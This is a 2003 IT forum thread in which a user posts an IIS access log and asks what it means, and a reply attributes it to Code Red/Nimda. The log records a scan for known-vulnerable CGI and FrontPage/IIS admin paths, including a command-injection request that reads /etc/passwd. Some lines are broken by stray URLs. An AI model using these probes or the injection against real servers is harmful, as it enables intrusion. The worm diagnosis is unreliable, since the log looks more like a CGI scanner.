2003-02-05 16:29:52 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/ctgestb.idc - 404 -
2003-02-05 16:29:52 192.168.0.68 - 192.168.0.6 80 GET /log - 404 -
2003-02-05 16:29:55 192.168.0.68 - 192.168.0.6 80 GET /cgi/campas %0acat%0a/etc/passwd%0a 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 HEAD /iisstart.asp - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /filenotf1345.htm - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/unlg1.1 - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/unlg1.2 - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/r

http://wwwshell.pl

- 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/gH.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/phf - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/Count.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/test-cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/nph-test-cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/nph-publish - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/php.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/php - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/handler - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webgais - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/websendmail - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webdist.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/faxsurvey - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/htmlscript - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/pfdispaly.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/perl.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/

http://wwwboard.cgi

- 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/

http://wwwboard.pl

- 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/

http://www-sql

- 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/view-source - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/campas - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/aglimpse - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/glimpse - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/man.sh - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AT-admin.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/filemail.pl - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/maillist.pl - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/jj - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/info2

http://www -

404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/files.pl - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/finger - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/bnbform.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/survey.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AnyForm2 - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/textcounter.pl - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/classifieds.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/environ.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/wrap - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/cgiwrap - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/edit.pl - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/perlshop.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webbbs.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/whois_raw.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AnyBoard.cgi - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_inf.html - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/users.pwd - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/service.pwd - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/authors.pwd - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/administrators.pwd - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/shtml.dll - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/shtml.exe - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-dos/args.bat - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-win/uploader.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/wguest.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/rguest.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/issadmin/bdir.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/CGImail.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/tools/newdsn.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/fpcount.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/counter.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/visadmin.exe - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expelval/openfile.cfm - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expelval/exprcalc.cfm - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expelval/displayopenedfile.cfm - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expelval/sendmail.cfm - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /search97.vts - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /carbo.dll - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisstart.asp PageServices 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/pfieffer.bat - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/pfieffer.cmd - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /msadc/Samples/SELECTOR/showcode.asp - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /domcfg.nsf/ open 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /......../autoexec.bat - 404 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/pfieffer.bat - 403 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /scripts/pfieffer.cmd - 403 -
2003-02-05 16:43:45 192.168.0.68 SYSTEM 192.168.0.6 80 GET /iisadmpwd/achg.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp2.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp2b.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp3.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp4.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp4b.htr - 200 -
2003-02-05 16:43:45 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/anot.htr - 200 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/anot3.htr - 200 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/day5datacopier.cgi - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/day5datanotifier.cgi - 404 -
2003-02-05 16:43:46 192.168.0.68 SYSTEM 192.168.0.6 80 GET /iisadmpwd/achg.htr - 200 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/passwd - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/passwd.txt - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/password - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/password.txt - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /session/adminlogin - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ax.cgi - 404 -
2003-02-05 16:43:46 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ax-admin.cgi - 404 -

SkyHawkTech · Feb 16, 2003

looks like you are being assulted with the code red/nimda virus and that you don't have any access control list at your border router or ipsec inplace.

~Rick

Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

Can someone explain this to me?

quell

IS-IT--Management

SkyHawkTech

IS-IT--Management

Similar threads

Part and Inventory Search

Sponsor